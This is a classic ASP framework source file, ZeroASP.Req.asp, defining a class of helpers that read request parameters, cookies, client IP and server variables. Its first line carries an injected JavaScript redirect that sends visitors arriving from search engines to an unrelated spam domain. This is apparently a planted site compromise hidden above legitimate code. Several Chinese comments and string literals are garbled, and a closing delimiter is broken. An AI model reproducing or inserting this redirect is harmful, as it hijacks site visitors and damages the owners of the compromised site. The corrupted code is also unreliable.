d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Req.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '######################################################################
003: '## ZeroASP.Req.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_Req
013:   
014:    Private Sub Class_Initialize()
015:       Dim ZeroASP_Req
016:       ZeroASP_Req = "ZeroASP应用框架 - 扩展?
017:    End Sub
018:
019:    '获取数据流,表单,上传均?
020:    Public Function AllTotal(ByVal Cset)
021:       Dim byteCount,Total
022:       byteCount = Request.TotalBytes
023:       Total = Request.BinaryRead(byteCount)
024:       AllTotal = Zasp.Stream.BytesToBstr(Total,Cset)
025:    End Function
026:
027:    '获取Get参数
028:    Public Function Gets(ByVal Str)
029:       Gets = Request.QueryString(Str)
030:    End Function
031:
032:    '获取Post参数
033:    Public Function Posts(ByVal Str)
034:       Posts = Request.Form(Str)
035:    End Function
036:
037:    '获取Cookies参数
038:    Public Function Cooks(ByVal Str,ByVal Key)
039:       If Key = "Null" Then
040:          Cooks = Request.Cookies(Str)
041:       Else
042:          Cooks = Request.Cookies(Str)(Key)
043:       End If
044:    End Function
045:
046:    '获取客户端真实IP
047:    Public Function IP()
048:       Dim strIPAddr
049:       If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),"unknown") > 0 Then
050:          strIPAddr = Request.ServerVariables("REMOTE_ADDR")
051:       ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),",") > 0 Then
052:          strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),1,InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),",") - 1)
053:       ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),";") > 0 Then
054:          strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),1,InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),";") - 1)
055:       Else
056:          strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
057:       End If
058:       If strIPAddr = "::1" Then
059:          IP = "127.0.0.1"
060:       Else
061:          IP = Trim(Mid(strIPAddr,1,30))
062:       End If
063:    End Function
064:
065:    '获取客户端浏览器信息
066:    Public Function Agent()
067:       Agent = Request.ServerVariables("HTTP_USER_AGENT")
068:    End Function
069:
070:    '获取客户端DNSIP
071:    Public Function DnsIp()
072:       DnsIp = Request.ServerVariables("REMOTE_HOST")
073:       If DnsIp = "::1" Then
074:          DnsIp = "127.0.0.1"
075:       End If
076:    End Function
077:
078:    '获取该页面的方法
079:    Public Function Method()
080:       Method = Request.ServerVariables("REQUEST_METHOD")
081:    End Function
082:
083:    '获取服务器域?
084:    Public Function Domain()
085:       Dim ServerName,ServerPort,Url,strTemp
086:       ServerName = Request.ServerVariables("SERVER_NAME")
087:       ServerPort = Request.ServerVariables("SERVER_PORT")
088:       If LCase(Request.ServerVariables("HTTPS")) = "off" Then
089:          strTemp = "http://"
090:       Else
091:          strTemp = "https://"
092:       End If
093:       Url = strTemp & ServerName
094:       If ServerPort <> "80" Then
095:          Url = Url & ":" & ServerPort
096:       End If
097:       Domain = Url
098:    End Function
099:
100:    '获取服务器软?
101:    Public Function ServerSoft()
102:       ServerSoft = Request.ServerVariables("SERVER_SOFTWARE")
103:    End Function
104:
105:    '获取URL完整地址
106:    Public Function URL()
107:       Dim ServerPort,ServerName,ScriptName,QueryString
108:       ServerName = Request.ServerVariables("SERVER_NAME")
109:       ServerPort = Request.ServerVariables("SERVER_PORT")
110:       ScriptName = Request.ServerVariables("SCRIPT_NAME")
111:       QueryString = Request.ServerVariables("QUERY_STRING")
112:       Url = "http://" & ServerName
113:       If ServerPort <> "80" Then Url = Url & ":" & ServerPort
114:       Url = Url & ScriptName
115:       If QueryString <> "" Then Url = Url & "?" & QueryString
116:       URL = Url
117:    End Function
118:
119:    '获取服务器语€
120:    Public Function Language()
121:       Language = Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")
122:    End Function
123:
124:    '获取服务器脚本解析版?
125:    Public Function ScriptVer()
126:       ScriptVer = ScriptEngine & " / " & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
127:    End Function
128:
129:    '服务器端口号
130:    Public Function ServerPort()
131:       ServerPort = Request.ServerVariables("SERVER_PORT")
132:    End Function
133:
134:    '服务器脚本超?
135:    Public Function STimeout()
136:       STimeout = Server.ScriptTimeout & "s"
137:    End Function
138:
139:    '服务器使用的协议的名称和版本
140:    Public Function Protocol()
141:       Protocol = Request.ServerVariables("SERVER_PROTOCOL")
142:    End Function
143:
144:    '服务器IP
145:    Public Function LocalIP()
146:       LocalIP = Request.ServerVariables("LOCAL_ADDR")
147:       If LocalIP = "::1" Then
148:          LocalIP = "127.0.0.1"
149:       End If
150:    End Function
151:
152:    '获取来路
153:    Public Function Referer()
154:       If Request.ServerVariables("HTTP_REFERER") <> "" Then
155:          Referer = Request.ServerVariables("HTTP_REFERER")
156:       Else
157:          Referer = "获取来路失败"
158:       End If
159:    End Function
160:   
161: End Class
162: %
>
163:
164: